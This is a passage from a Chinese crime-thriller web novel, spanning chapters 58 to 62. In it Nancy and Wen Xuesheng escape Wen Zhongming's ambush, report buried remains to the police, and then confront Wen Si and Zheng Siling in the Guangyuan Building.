那个一直像死了般趴在地上的女人,竟像豹子一般弹地而起,同时扬手撒出一片灰蒙蒙的尘土,那些他带来的打手顿时嗷嗷叫唤着捂住了眼睛。 而那女人身影如风,单腿支地,另一条腿如同钢鞭般迅捷扫出! 噗通! “哎哟!” 一连串倒地声和痛呼声接连响起。 那身影毫不停滞,借着一扫之力旋身,飞扑向温雪生,用肩膀奋力驮起他,跌跌撞撞就朝远处的黑暗冲去。 温重明手忙脚乱地扶地爬起,脸上沾着唾沫和尘土,混合成滑稽又狼狈的图案。 他望着那个逃窜的背影,望了一会儿,蹙起的眉头竟渐渐平整了。 然后,他慢条斯理地打扑了下身上的土,没有立刻命令追击,因为他看得很清楚,那女人的动作越来越慢,身体越来越趴,她驮着温雪生的肩膀塌陷得厉害。 他知道,她刚才的爆发已经耗尽了最后的气力,现在的她已经是强弩之末,逃不出多远。 “啧,真够劲儿。”他低声嘀咕了一句,不知道是赞叹还是抱怨。说实话,刚才有那么一瞬间,他确实感到了震惊,甚至有些佩服那个女人,都伤成那样了,身上明显有骨折,却还能有这种惊人的速度和力量,强得简直不像是人。 还好,他按郑司令说的,提前安排了人在这路上设了埋伏,先折损了他们最强的三个战力,不然,今晚还真可能在阴沟里翻船。 温重名的视线尽头。 南希正咬着后槽牙艰难前行。 驮着温雪生的那条胳膊酸麻剧痛,肋骨处的疼痛已经不再是单纯的刺痛,而是一种弥漫性的撕裂感,每一次迈步,每一次喘气,都让她眼前发黑,几乎要晕过去。 脸上的血水和汗水混在一起,黏腻不堪,不一会儿,又掺上了新的液体。 那液体从她头顶上方滑下,掉进了她干裂的嘴里。 很咸。 第59章 重启 然后,温雪生的声音断断续续地传来:“……放下我……你自己……走……” 南希没有回应,甚至连一个音节都没有发出。因为只要张开嘴,她可能就会泄掉强提着的那口气,可能就会痛呼出声,可能就会彻底崩溃。 她的肋骨实在太疼了,她都能感觉到,那些断裂的骨头茬子在刺着自己的心肺和血肉,她快要意识不清了…… 温雪生被她驮着,知道她的身体和精神都已经到了极限,就像一根绷紧到极致的弦,随时都会断裂。 然而,他什么都做不了,甚至不敢轻易从她背上跳下来,任何突兀的动作都可能让她立刻倒下。 她都已经这副模样,却还在坚持支撑着他,他不能添乱,只能尊重她。 可他的心早就被后悔和自责填满,如果不是他,张笑远、孙红、孙紫就不会死……如果不是他,南希也不会在眼前的绝境里挣扎…… 他就是个祸害,所有跟他沾上关系的人都没有好下场,就像他的妈妈,他的哥哥……他早就该死了,他怎么就不早死呢?为什么还要再连累这么多人…… “喂,你们还要这样蜗牛爬到什么时候?” 远处,温重明令人作呕的声音穿透空气,打断了他的思绪,他听到他戏谑地喊着:“哎呀,我已经等不及了,我劝你们干脆早点放弃,这样还能少受点苦。现在整个济东,不,应该是整个世界都没有人能救你们了,那仨能打的死了,李管事被我绑了,甚至是温四,你们想不到吧,他已经被郑司令控制了!” 郑司令! 这个称号钻进温雪生的耳朵,像一根钉子似地扎了进去。 他突然一阵恍惚。 那个男人常年深眯的眼睛一下子浮现在眼前,清晰得可怕。 小时候,郑司令是家里的常客,他会和爸爸在书房里低声谈笑;会系着围裙,在厨房帮妈妈择菜;会和哥哥在院子里比划拳脚,然后大笑着摸哥哥的脑袋…… 也会把自己抱起来,高高举过头顶。 那是小温雪生最开心的时刻之一,因为被举得很高,他的视野变得很开阔,他兴奋地咯咯笑,挥舞着小手,叫着“郑叔叔,再高一点,再高一点!”。 然后,那双拖举他的手,毫无征兆地,松开了。 而他像块石头一样,被从高处重重摔落…… 温雪生的身体不自然地抖动了一下,他感觉大脑被什么东西,一下子击穿了。 然后,世界疯狂地旋转起来,无数乱七八糟的记忆碎片像是找到了决堤的缺口,转动着,咆哮着冲泄而出。 他分不清哪些是真,哪些是假,只觉得一股寒气从脚底板直逼天灵盖。 南希何等敏锐,哪怕已经筋疲力竭,也很快捕捉到了温雪生的变化——那趴在她背上的人突然变得冰冷且僵硬。 她顾不上什么泄气不泄气,微微侧过头,用力从喉咙里挤出一声:“喂……” 可是,温雪生没有理会,他的目光一片空洞,跟灵魂被抽离了似的。 南希正好瞥见他失焦的眼睛,心里猛然一慌。 这一慌,脚下便踩了个空,本就强弩之末的身体彻底失去了平衡,带着背上的温雪生,像两截沉重的木头,向前栽去。 然而,在倒地前的那一瞬,温雪生不知从哪爆发出了一股力气,那只完好的手臂突然环住南希,腰身用力,硬生生在半空中扭转了两个人的位置。 砰! 一声闷响。 温雪生结结实实地垫在了南希身下。 南希的额头砸在他的胸膛上,那胸膛不算柔软,却缓冲了大部分冲击。 下一秒,南希听到了胸膛里传来如擂鼓般的心跳,紧接着,是对方沉沉的话,压着喘息,一字一句:“你还记得,你从我房间床头柜里,拿的那个东西吗?” 南希强忍疼痛,缓缓抬起头。 两人的脸离得很近,鼻尖几乎相触,气息不可避免地交融在一起。 她当然记得。 当时,她为了“蓝宝石”任务,潜入温沙城堡三楼,偶然发现了那个藏在床头柜暗格里的东西,然后才拥有了与这位温大少爷做交易的筹码,把他们原本平行的人生强行扭到了一起。 她点了点头,动作很轻,但还是牵动了肌肉,引来一阵抽痛。 温雪生的眼睛斜下来,与她对视。他的瞳孔似乎找回了一点焦距,但深处依旧是一片荒芜。 他再次问她,还是关于那个东西:“你,看过吗?” 南希愣了一下,随即坚定地摇了摇头。 她拿到那东西后,确实打开扫了一眼,知道那是什么后,便立刻阖上了。她讨厌别人窥探自己的隐私,同样,她也绝不会主动去窥探别人的,这是她的原则。 温雪生极其浅淡地勾了一下嘴角,像是想笑,却又无力完成。 “谢谢你,没有看。”他虚弱地说。 与此同时,远处的温重明不耐烦地吆喝起来,然后,打手们杂乱的脚步声响起,手电的光柱在他们周围的土地上乱晃。 情势已经火烧眉毛,南希实在不明白温雪生为什么要在这种时候,纠结一个无关紧要的东西。她正要着急地回些什么,比如“快起来”、“别说废话”,可温雪生的声音又出现在耳边。这一次,他的声音很轻,像是从很远很远的天边,被风送过来的: “君如清露洒人间,我是凡尘偶相逢。”? 南希不禁蹙紧眉头,下意识瞥了眼身后越来越近的人影,心急如焚。她试图用手肘支撑地起身,然后再去拉温雪生:“什么啊,我听不懂!先别说这些没用的,快起来,走!” 可温雪生太沉了,而她自己的力气早已透支殆尽。力的反作用下,她非但没把他拉起来,反而再次失去平衡,又砸回到他胸口上。 “啊……”她听到身下的人发出一声压抑的闷哼。 然后,世界竟陷入了一种诡异的安静。 男人的喘息声,身后逼近的脚步声,打手们的吆喝声,甚至夜风掠过枯枝的呼啸声,沙尘被鞋底扬起的摩擦声…… 所有的声音,在这一刹那,都消失了。 像是被一只无形的手猛地掐断; 像是骤然跌入了绝对的真空; 像是死亡降临前,那片刻仁慈的宁静…… 然后,在这万籁俱寂之中,整个世界轻轻地、缓缓地飘下一句话,落在南希的耳膜上,清晰得令人心悸: “能遇到你,是我这悲惨人生中,最幸福的事。” * “前面,那棵大树看见没?右拐。”温雪生的语气平稳得不带一丝波澜,与窗外飞速后退的漆黑景物形成反差。 南希按照他的指挥打了把方向盘。 “左,贴着那排破围墙走。”温雪生继续说。 “直走,别管那个小岔路。” “对,就是这个方向。” …… 随着他一句接一句的指引,切诺基在越来越狭窄、越来越昏暗的路上左拐右拐,最终驶入了一条颠簸不堪的荒野土路。 南希一直紧绷的肩颈肌肉稍稍放松,从喉咙深处吐出一口浊气。 唉,总算是找到回市里…… 这时,温雪生又开口了,声音压低了许多:“慢点开,这里太安静了,不对劲,说不定会有埋伏。” 后座上,一直保持警惕的张笑远立刻出声附和:“不错,越是这种看似安全的地方,越需要谨慎,温重明不会让咱们轻易回济东的。” 南希刚松懈一点的神经又紧张起来,第六感回归,她也隐隐感到某种不安,总觉得暗处有许多眼睛在盯着她。 她左手扶稳方向盘,右手迅速抓住别在胸前的夜视镜,戴到头上,眼前的世界瞬间明亮如昼。同时,她将副驾前面的望远镜抄起,头也不回地扔到后座。不需多言,张笑远默契地接过,挂在了脖子上。孙红孙紫也从包里拿出装备,一时间,车里的每个人都提起了十二分精神,警惕地扫视窗外,防范可能从任何角度出现的袭击。 切诺基的速度降了下来,比步行快不了多少。这样行驶了约莫七八分钟后,南希的瞳孔突然一缩。 前方的道路看似平坦,但透过夜视镜,她清晰地看见地面有一段不自然的塌陷——一条很深的大沟横亘在土路中央!几乎在同时,她用眼角的余光捕捉到,道路两侧那些稀疏的树林后,似乎有几点不自然的反光,它们与环境融为一体,很难分辨那是什么。 “有情况!”她低喝一声,脚下已经条件反射地踩住了刹车。 就在她出声示警的一瞬间,切诺基后门被猛地从里面推开,三道矫健的身影,如同蛰伏已久的猎豹,在车辆还未完全停稳的刹那,已然跃出车厢! 动作干净利落,没有半分迟疑。 张笑远落地一个前滚翻,消解冲力,起身时手里已多了一把闪着寒光的军刀,身影如鬼魅般扑向树林。 孙红和孙紫姐妹心有灵犀,分别扑向左右两侧。孙红手腕一抖,一截特制的合金短棍滑入掌中。孙紫则更为直接,人未至,几点寒星已从指间射出,精准地射向藏匿在树林后的反光。 没有喊杀声,只有身体急速移动带起的风声,和武器破空的锐响声。 战斗在黑暗中瞬间爆发。 第60章 鸡血 几条模糊的人影正在缠斗,画面在南希的夜视镜上无声闪过。 南希目视前方,紧紧锁定土路上,那道几乎隐没在黑暗里的深沟,然后一脚把油门踩到了底。 “坐好了!”她嘱咐边上的温雪生。 与此同时,切诺基发出一声低吼,车身向前蹿去。 南希双手急打方向盘,车身以一个惊险的弧度,几乎是擦着深沟的边缘,猛地甩到了左侧的小树林。 树林里,最后一个试图藏身的打手,中了一记精准的手刀,软软地瘫倒了下去。接着,孙红从一棵树后冲出,没有丝毫停顿,拉开后车门,利落地跳了上去。 她额角带着汗,呼吸略促,但眼神很亮。一上车,她就潇洒地抬起手,冲南希比了个OK,代表这边树林的危险已经解决。 南希从鼻子里“嗯”了一声作为回应,视线扫过倒车镜,确认孙红已经坐稳,右脚再次将油门深深踩下。 切诺基的轮胎在地上空转半秒,带起一片尘土,随即车身如离弦的箭般,冲向右侧那片更密一点的树林。 就在车头即将扎入林间黑暗时,两声枪响撕裂了空气。 几乎是紧接着—— 咣!咣! 切诺基左侧,传来两道金属被硬物撞击的闷响。 车门瞬间凹陷进去两大块,车身的震颤,清晰地传递到每一个人的座位上。 然而,切诺基没有减速,反而以更决绝的姿态,一头撞开低矮的枝条,冲进了小树林。 南希不是不怕枪击,而是相信队友的能力:再危险的敌人,他们也能解决! 下一刻,车灯的光柱扫过,映出了林间空地上的景象。 三个拿着棍子的打手已经倒地,抱着腿满地打滚。而他们旁边,高高屹立着两个人影——张笑远和孙紫。 或许是因为车灯角度的缘故,南希看过去时,竟觉得他们周身好像笼罩着一圈金光。 简直,酷毙了! “干得漂亮!”南希不吝赞叹,踩下刹车,摇下车窗,示意他们赶紧上车。这时,张笑远手臂一扬,一个黑乎乎的东西带着风声朝她飞来。 南希反应敏捷,立马抬手,精准地将那东西接住。 入手一片冰凉,沉甸甸的,金属的质感透过皮肤直抵神经。 南希定睛一看,那是一把手枪。 温重明的手枪! 他竟然追到了这里! 孙紫双手插兜,抖了抖肩,冲南希说:“有件事得告诉你,我们卸了那猴子男的枪,然后放他走了。”她歪头瞅了一眼张笑远,“他的意思。” 张笑远拉开车门,弯腰坐了进去,声音自然:“希望你别介意,我这么做,是为了以后的计划。” 南希握着那把冰冷的手枪,手指无意识地摩挲着枪身的线条,心里掠过一丝不甘。 多么难得的机会啊! 温重明之前害温雪生不浅,对她来说,把温重明那家伙绑了,找个僻静地方挖个坑埋了,给温雪生出口恶气,那才叫一个痛快。 但她知道张笑远,也知道破晓想干什么。 当初张笑远找上她,说的不是什么替天行道的空话,而是“我们想要挖掉的,是这个城市光鲜表皮下的烂疮和毒脓”。 他也明确说过,他们最近的目标是温四。 温四代表的是盘踞济东多年的black社会根基,完全符合烂疮和毒脓的标准。这一趟,事情发展到这一步,南希很清楚,张笑远他们已经不仅仅是为了兑现招揽她时的承诺,还想借着温雪生被绑架的契机,把济东的黑暗面连根拔起。 放走温重明,其实是在放长线钓大鱼。 南希极淡地“啧”了一声,将手枪随手塞进了驾驶座的门板储物格。 然后,切诺基倒车,转向,重新碾上坑洼不平的土路,将小树林甩在了黑暗里。 之后的路程,他们又先后遇到了两次阻拦。一次是两辆横在路中的摩托车,孙紫用温重明的手枪精准地打爆了车胎,吓得车手抱头鼠窜。 还有一次是路中间堆放的荆棘路障,而切诺基直接加大马力冲了过去,车身被刮得“吱嘎”作响。 当远处的地平线上,那代表城市的光晕越来越亮的时候,南希知道,最危险的路段已经过去,前方是灯火,是秩序的象征,已经没有什么能再阻挡他们进入市区。 可是,那种时刻萦绕的危机感减弱后,南希心里,另一种模糊不清的感觉却浮了上来。 她总觉得哪里不对劲,是这一路虽然惊险,但似乎又太顺利了点?温重明的人就这么点能耐?还是别的什么…… 在一个岔路口,等红灯时,她侧过头,看向副驾驶的温雪生。 这一路,他一直很安静,从他指完最初的那段路后,他就再没开过口。这会儿,他低着头,额前的长刘海垂了下去,遮住了大半张脸。 南希看不到他的表情,但能感受到他身上的气息。他浑身上下都散发着一种无声的、压抑的气息,就跟暴风雨前的沉闷空气一样。 南希伸出手指,戳了戳他的胳膊。 对方的肌肉好像僵硬了一下。 “喂,”南希小心翼翼,放低声音,“有心事?” 温雪生没抬头,发出一声模糊的鼻音:“嗯……” “啊?还真有?”南希有点意外,她没想到他会立马承认。 “我在想……”温雪生沉吟了下,“我在想,见到温四后,要说些什么……” “嗯……”南希顿了顿,试图让语气听起来轻松些,“多大点事儿,快别想了,船到桥头自然直。” 但是,他的心事,真的只是这样吗? 有什么话,连跟她都不能说? 难道是,因为后座的那仨外人? 这个念头让她心里莫名发堵,她忍不住回头,视线飞快地扫过破晓三人组。 张笑远敏锐地捕捉到了南希的目光,抬眼看她:“怎么了?” 南希像被烫了一下,立刻又扭回头,想找个诸如“看看后面有没有尾巴”之类的借口敷衍下,这时,一阵电话铃声响了起来。 是张笑远那快砖头似的大哥大。 张笑远收回目光,从腰间皮套里取出大哥大,按下了接听键。 大哥大那头传来嗡嗡的声音,南希听不清具体内容,只能感觉到对方语速很快。 她便趁机又迅速回头瞥了一眼。 张笑远举着大哥大,眉头微蹙。他旁边的孙红孙紫,脸上都看不出疲惫,反而……反而有一种压不住的兴奋,她们眼神灼灼,嘴角不自觉地上扬,那神态,像极了准备扑食前的猎犬,或者更通俗点,像刚被打了一针鸡血。 对,就是鸡血。 这个词蹦进脑海的瞬间,南希忽然明白了自己为什么会觉得不对劲。 除了温雪生的沉默,路上的顺利,还因为这一车的人,包括她自己,都不对劲! 她细细回想从踏上那条土路开始的一切。 自己为什么会那么信任这几个才认识不久的人?为什么会跟着他们一起热血上涌? 小树林那场战斗,她明明可以载着他们,开车直接冲出去,远离那片是非之地。可她却选择了战斗,冒着枪击的风险,跟他们一起战斗。这种近乎玩命的选择,放在以前,只有她被逼到绝境,退无可退时才会做…… “南希,南希,张南希?!” “啊,什么?” 恍惚中,南希听到了自己的名字,猛地从纷乱的思绪中回过神。 叫她的是张笑远。 他已经挂断了大哥大,那块“石头”被他随手放在腿上。他看着她,视线扫过全车的人,声音在狭小的空间里荡起: “我刚接到老宫的情报,温四不在家,”他加重了语气,“现在,他在光源大厦的三十九层。” 说完,他的目光落在了温雪生身上,眼神沉重,且意味深长。 “不过,在咱们去找温四之前,”张笑远的语气不急不缓,却有种不容置疑的力量,“我们需要打个电话……” 南希的心莫名地提了起来,她在等他的下文,可他说到“电话”就停住了,似乎在观察他们的反应。 “你说呀,”她忍不住催他,“打什么电话?” 张笑远侧过头,目光与她相对,一字一顿地吐出三个数字: “110。” 报警电话?! 南希怔住。 她知道张笑远和破晓的目标是扳倒温四,也知道这必然伴随着一场困难的作战。但她没想到,这件大事会来得这么快,这么急,这么……直接。 报警?利用警察的力量?这和她想象中那种更隐秘的对抗方式完全不同。 张笑远停顿了一会儿,似乎在给她,也给其他人消化的时间。他看着南希脸上来不及掩饰的惊讶,继续开口,像是在解释,也像是在陈述一个既定的事实: “今天是最好的机会。据老宫的消息,温四的势力内部出现了分裂。温重明逃回市里后,直接投奔了一个温四最得力的下属,郑司令。” 南希一愣,脱口而出:“你的意思,小生生被绑架,是他们俩联手搞的?” 这事看似不可能,但稍一细想,好像本就是这样,要不,卢氏的那个小护士怎么会参与其中? 张笑远点头肯定了她的猜测。 “不过,”他话锋一转,“根据最新情报,温重明好像和郑司令之间也发生了分歧。也就是说,温四的势力,现在至少分成了三股。一股是温四自己,一股是投靠郑司令的温重明,还有一股,是郑司令本人。 可即便是这样,那分裂成三块的硬骨头,光靠破晓,也是啃不动的,硬啃只会崩了牙。”张笑远把目光投向前方,夜空被城市的灯火映照得有些发亮,“所以,我们需要借助警察的力量。而今晚,在李家村附近发现的人骨,才是击倒他的关键。”《 》 60-70 第61章 报警 “那棵大榆树下,土都是翻新过的,那明显是他们杀人埋尸的地方。”张笑远目光锐利地转向温雪生,“他们无视法律,无视人命,天理难容,早该受到惩罚。我们按兵不动忍到现在,就是想看看,这帮畜生的背后,到底还藏着多少见不得光的勾当!” 温雪生抬起了头。 两人的视线在空中交汇,没有火花,只有一种沉重的压抑。 张笑远放缓了语气:“温少爷,在报警之前,有些事我得跟你讲清楚,温四,他毕竟是你爸,不管这件事他是不是知情……” “我来打。”温雪生打断他,就像一块冰砸在地上,冷硬且坚定。 “什么?”张笑远脸上闪过一丝惊讶。 “这个电话,我来打。”温雪生重复了一遍,字字清晰。 他看向一直沉默的南希,声音忽然放得很轻,“能借我手机用下吗?” 南希上车后,摩托罗拉就被她扔在了中控台上,温雪生其实稍稍伸手就能够到。 她瞥了他一眼,喉间缓缓挤出一个“好”字,然后她拿起摩托罗拉,眼神复杂,动作迟疑地递向他。 温雪生伸手去接,指尖捏住手机的另一端,用力往后拉,谁料,竟没拉动。 视线里,南希的手依然紧紧攥着摩托罗拉,指节因为用力而微微发白。 她竟没有丝毫松手的意思。 张笑远那句没说完的话,像悬在空气中的刀子,逼在南希的心口。 她懂,她都懂。 温四,是济动这片土地上盘根错节的大树。温重明和郑司令干的那些脏事,怎么可能跟他脱的了干系?无论他是不是亲自点了头,命人把无辜的人埋在那棵大榆树下,一旦东窗事发,他都注定要被连根拔起。可他毕竟是温雪生的亲爸,到时候,倾巢之下,温雪生这片小小的羽毛,又能飘到哪里去? 今晚,她和破晓几人撞破了大榆树下的秘密,温重明带人到了现场,怎么会不知道?他之所以没发动全力来追击他们、抹杀他们,估计正是吃准了这一点——他们会因为顾及温雪生,不敢轻易把那个埋骨之地公之于众,不敢把事情彻底闹大。 南希看着手里的摩托罗拉,光亮的机身上隐隐倒映着自己沉重的面孔。 “你真要打?”她抿了抿嘴,问温雪生。 “嗯。” 没有一丝犹豫,温雪生回答道,“你不要多想。” 他其实已经猜到了南希的担忧,半解释半宽慰地说:“要是我怕大榆树下的秘密暴露,当时认出那些骨头的时候,就不会告诉你们。这件事,不管你们最终怎么选,我的路,只有这一条。如果一切都是温四做的,那么,他该死;如果跟他没关系,温重名和郑司令都是他一手培养出来的,他也不冤。” 这番话后,空气凝固了几秒。 然后,南希的手一点点松开了。 温雪生稍一用力,把手机拽了过去。 他低下头,翻开手机盖,在键盘上按下了那三个数字。 * 19,20,21…… 数字在显示屏上跳跃,电梯钢缆牵引着轿厢,往光源大厦的次顶层徐徐攀升。 这里的电梯是引进国外的最新技术,在九十年代算是个稀罕物。轿厢内壁是锃亮的不锈钢板,头顶是排列整齐的方形照明板,操作面板上的塑料按钮带着背光,旁边还有英文标识。 南希却没有心情欣赏这份“豪华”。 现在是早上五点多,人们大都在熟睡,所以电梯里只有她和温雪生两个人,他们并排站着,胳膊几乎要碰到一块,但两人间的气氛却紧绷得像拉满了的弓弦。 那个报警电话打得非常顺利,接电话的警察非常重视。 电话挂断没多久,警笛声就出现在了他们耳边。孙紫跟着赶到的警察配合去李家村调查,提供初步的线索。张笑远留下一句“分头堵人”,就带着孙红匆匆离开,与破晓其他成员汇合,计划设法控制温重明和郑司令,防止他们毁灭证据或暗中逃跑。 而温雪生,决定直接去光源大厦见父亲温四,理由和之前一样,除了试图稳住可能爆炸的济东black社会局势,他还想看看能否借此机会,捞出被卷入暴风眼的李管事。 南希坚持跟着温雪生,她半开玩笑地说“你身体这个样子,没人跟着不行”,但真正的原因沉在她心底,那是一种挥之不去的不安感,她很相信自己的直觉,而此刻,直觉正像细小的针一样,不断刺着她。 电梯的显示屏上,楼层数字已经到了36,然后37,38,39…… 数字最终定格。 电梯发出“叮”的一声提示音,金属门缓缓向两侧开启。 可就在门打开的瞬间—— 哔-哔哔—— 南希口袋里的摩托罗拉响了起来,铃声在空旷寂静的电梯厅里被无限放大,异常突兀。 南希吓了一跳。 尽管理论上,温雪生来找自己老爸是天经地义的事,但她干“贼”这行当干得久了,已经习惯躲在阴影里,任何突如其来的动静都会让她犯职业病,觉得自己暴露了。 她几乎是条件反射地伸手进兜,摸索着按下了挂断键。 没想到,连一秒都没过,那铃声又不依不饶地响了起来。 这次她有了心理准备,也想明白自己没必要紧张,飞快地掏出手机,翻开盖子,同时压低声音,没好气地对着话筒说:“喂,谁呀?” 温雪生脚步迟疑了下,见她接起电话,便又继续转过身,慢慢朝走廊深处走去。 南希听着电话,目光紧紧追随着温雪生略显单薄的背影,眉心越拧越紧。突然,她快速说了一句“知道了”,然后一甩手,翻上手机盖,疾步追了上去。 “等等。” 她一把抓住温雪生的胳膊,将他拉到承重柱后的阴影里,踮脚凑到他耳边:“张笑远来电,他们没有堵到郑司令,那老狐狸很可能来了光源大厦,而且带了不少人。” 温雪生脸上并没有露出很惊讶的样子,眼神深处甚至有种冷漠的平静。 南希心思在别处,就没注意到他这细微的表情,她用眼角余光快速扫视了遍走廊,不禁嘀咕:怎么连个鬼影子都看不到? 这太不正常了。 这里是温四的核心地盘,就算是深夜,也不该连个值班的接待都没有。 她琢磨了几秒钟,做了一个决定,然后压着嗓子继续对温雪生说:“这地方静得瘆人,我觉得有些不正常。刚才我那电话响得不是时候,可能已经把咱们卖了。还有,情报说你爸在办公室一直没出来,一会儿我先过去探路,我和你爸算是有个小交易没完成,我去找他理由充分。你就在这儿等着,别乱跑,发现任何不对劲的地方,别犹豫,赶紧逃。” 听完,不等南希落下脚跟,温雪生就反手握住了她的手腕。 “不。”他注视南希的眼睛,灰暗的瞳孔在冷白灯光下显得格外深邃,“郑司令要是真来了这边,说不定会有埋伏。这整件事,追根溯源,都是因我而起,就算是要冒险,也应该是我去。”他顿了一下,加重了语气,“而且,我去,不会有事。” 南希眉毛一竖,刚想开口骂他“这病秧子充什么好汉”,却被温雪生直直的眼神堵了回去。 他几乎要看进她的眼底:“信我。” 信他…… 南希感到胸腔涌起一阵悸动,就像被什么东西轻轻撞了一下。 眼前的男人,脸上带着倦意,鬓角边的丑陋纹路也更深了些,但是他的眼神却比以前任何时候都要灼人。 自打认识温雪生以来,他总是一副病弱的模样,可骨子里却极其自主、倔强和执拗。就像现在,明明他的状态那么差,可依然坚持挡在她的身前。 刚才弥漫在心头的紧张感,一下子消散了大半,好像他执拗地用那眼神说了“信我”两字,前面就算是刀山火海,她也能把心暂时放在肚子里。 她忽然伸手,指尖飞快地在他鬓角那几道纹路上摸了一下,嘴角随即弯起一个略带痞气的弧度,笑着说:“好啊,小生生,我信你,那你可不要让我失望哦。” 温雪生完全没料到她会有这样的反应,被她弄得一怔,脸上遏制不住地热了,泛起一层薄红。他有些仓促地转过身,几乎是立刻迈开步子,走入了那条光线惨白、空无一人的走廊。 走廊长得好像没有尽头,脚下厚实的地毯吸走了所有声音,温雪生的心跳却如擂鼓般响亮。他回头确认自己已经走出南希的视线,然后用力捋了捋心口,勉强恢复了冷静。 他走到那扇厚重的,标着“董事长办公室”的实木双开门前,凛下目光,提高警惕。他没有敲门,而是深吸了一口气,一把推开了门—— 然后,他睁大了眼睛。 门内的人也同样睁大了眼睛。 四道目光齐刷刷地聚在了门口的年轻人身上。 那年轻人扶着门框,气息不稳,一身黑西装松松垮垮、破破烂烂。他的脸上并不干净,一块灰一块黑,好在没有新鲜的红。 第62章 郑司令 “雪生?!” 低沉的男音因为惊讶都变尖锐了。 哗啦哗啦…… 茶水从紫砂壶嘴倾泻而出,注入了白瓷杯,水满溢到了桌面,然后又顺着桌沿淌下去,流到了男人熨帖规整的羊毛西裤上。深灰色的面料立刻洇开一团更深的颜色。 “哎呀……”温四被烫着了,叫出来,“老郑啊,你这是……” 郑司令回过神,这才发现,刚刚因为转着头看门口的温雪生,而忘了自己还在倒茶。他忙把紫砂壶放到桌上,从红木盒里抽出两张纸巾,半蹲下身,给温四擦裤子上的水。他动作很急,但指尖捏着纸巾的边缘,只敢轻轻地擦。 温四睥睨着他。 从这个角度,他能看见郑司令稀疏的头顶,几缕头发梳得勉强能盖住头皮;也能看见郑司令后颈堆起的肉褶,层层叠叠的肉藏在熨平的衬衫领子下面。 温四没动,就这样看着,过了好一会儿,他才开口,拖着长腔说:“好了,老郑,起来吧,没事没事。” 其实他裤子上只沾了很小一点水渍,而且已经被郑司令来回擦了好多遍,早就没什么可擦的了。 而郑司令擦得很认真、很仔细,或许是时间太久,他的手背上隐隐凸起了好几条青筋。 温四发话后,他终于停下了手中的动作,然后撑着膝盖起了身,关节随之发出轻微的“咔哒”声。 “老大,真是对不住,”他解释,“光顾着看雪生了……” 温四眯起眼:“都说了没事了。” 他伸手指了指旁边的沙发,“腿麻了?唉,老了,就别蹲那么久了。” 郑司令的屁股刚要沾上沙发垫子,听温四这么一说,竟悬在半空滞了那么三四秒。 可就在这短暂时间里,他好像暗暗做了个决定,然后腰身用力,重重坐了下去,震得沙发发出一声闷响。 “老大说笑了,”他笑起来,眼角挤出几道深深的褶子,“我才四十六,正当年呢,再给您跑腿二十年,都不成问题。” 这两人一来一回,绵里藏针。 温雪生站着看戏,没进门也没出声,一开始的惊讶也渐渐缓了下去,心想看来情势还没有他预料的那么糟。 刚刚推开门的刹那,他在脑子里设想过很多种门内的场景。 比如,温四根本不在屋里,只有郑司令坐在沙发中间,身后站了一排黑衣打手,他们虎视眈眈地瞪着大门,就等猎物主动送上来。 再比如,屋内空无一人,而是布满了复杂的陷阱机关,只要他一推门,便会触发机关,然后,箭矢飞镖漫天而来,像电影里演的那样。 但他唯独没想到,他看到的竟是这么一副和谐正常的画面。 郑司令在给温四倒茶? 这正常得都有些反常了吧…… 这时,温四终于把目光再次投向了自己的儿子。 “雪生?!”他一下子站了起来,像是刚才的插曲没发生一样,语气转变自然,“真是你?!” 说着,他就要上前,可没走两步又停下了,开始仔仔细细地打量起面前的青年,“雪生啊,你没事就好,没事就好!自打你从卢氏消失,我这心就没落过地,两天了,整整两天,我眼都没合啊!好在你回来了!你快别站着了,我这就叫个大夫过来,给你从头到脚检查一遍,看看有没有伤着。” 他的语气里有种恰到好处的担忧,可正因为这样,给人感觉并不真诚,好像每个字都是排练过的。 温雪生心里厌烦,没回话。 他昂着头,一步一步走到边上的单人沙发旁,面对郑司令坐了下来。沙发很软,他陷进去一些,然后身体前倾,用胳膊肘撑住膝盖,双手交叉垫在下巴处,眼睛始终没看温四。 “不用。” 他冷冷地回了这么两个字。 温四好像早已习惯儿子这个态度,没生气也没尴尬,只是搓着手,目光在温雪生身上扫来扫去,像是在检查自己的东西有没有破损,但是碍于郑司令还在这,压住了想上前细看的冲动。 “好好好,你不想现在检查就算了。”他的声音很缓,真就像个慈父,“唉,不管怎么样,你回来了就好,剩下的事咱们爷俩以后慢慢聊。” 他顿了下,挥手指指郑司令:“你回来了,你郑叔叔也可以好好歇歇了,这两天他太辛苦了,到处找你,济东都快让他翻了过来。” 温雪生一个抬眼瞅向郑司令,声音像冰:“哦?是吗?这么说我得多谢谢郑叔叔。” 眼前的中年男人穿着深蓝色西装,白衬衫,没打领带,衬衫第一颗扣子解开着,露出粗短的脖子。他坐在那里,肩膀放松,双手自然地搭在腿上,竟是一副坦然的姿态,只有左手无名指上的金戒指,在灯光下反射着刺眼的光。 “大侄子你说这些干什么。”郑司令端起另一个茶杯,吹了吹,抿了一口,“为老大分忧,那是我应该做的,再说了,你是我看着长大的,就跟自家的孩子一样,自家孩子不见了,我能不急?” 说到这,他话锋一转,放下茶杯,往前蹭了蹭,“就是不知道大侄子这是打哪儿回来的?老大还真是没夸张,我把能派的人都派出去了,济东三条大街,两个火车站,连长途汽车站我都让人盯死了,愣是没找着你。” 他说这话时,温雪生一直盯着他。他也不回避,眼睛弯着,像在笑,但眼神没笑,就这么直勾勾地跟温雪生对视。 温雪生不知道他葫芦里卖的什么药,情势不明之下,只能忍着恶心,顺着他的话回:“我被几个流氓绑到了济东南边,离李家村三公里左右,S308省道旁的一个废弃工厂里。” 他故意说得很详细,想看看郑司令的反应。 郑司令一边听一边皱起眉,忽地一拍大腿:“诶呀!怪不得啊!”他转向温四,“老大,市东市西市北我都派人去找了,就是没去市南!您说这……” 他表情很懊恼,好似真在责怪自己的疏忽,但随即眼睛眯成了一条缝儿,身子又往前凑了凑,神秘兮兮地说:“不过啊,我记得好些年前,大侄子你就是被绑去了市南,也不能这么巧,两次都被绑去一个地……” 话到这儿,他像是意识到了什么,突然哑了声。 房间里安静下来。 温雪生小时候被绑架的事,是温四的一大禁忌。 温四曾下过死命令,任何人不准提这事。 谁提,谁倒霉。 郑司令当然知道这个规矩,当年,是他跟着去的现场,处理的后续。 他立马抬手,给了自己一巴掌,不重,但声音清脆,在这寂静的房间里显得格外清晰。 “诶呀,瞧我这嘴!” 他拍完脸的手没放下,又在空中虚扇了一下,“我真该打!老大,您别往心里去,我这就是……就是一着急,嘴上没把门,我下不为例!” 温雪生感觉嘴角的肌肉抽了一下。 郑司令动作夸张,表情夸张,傻子都能看出他这是在演戏,而且演技十分拙劣。 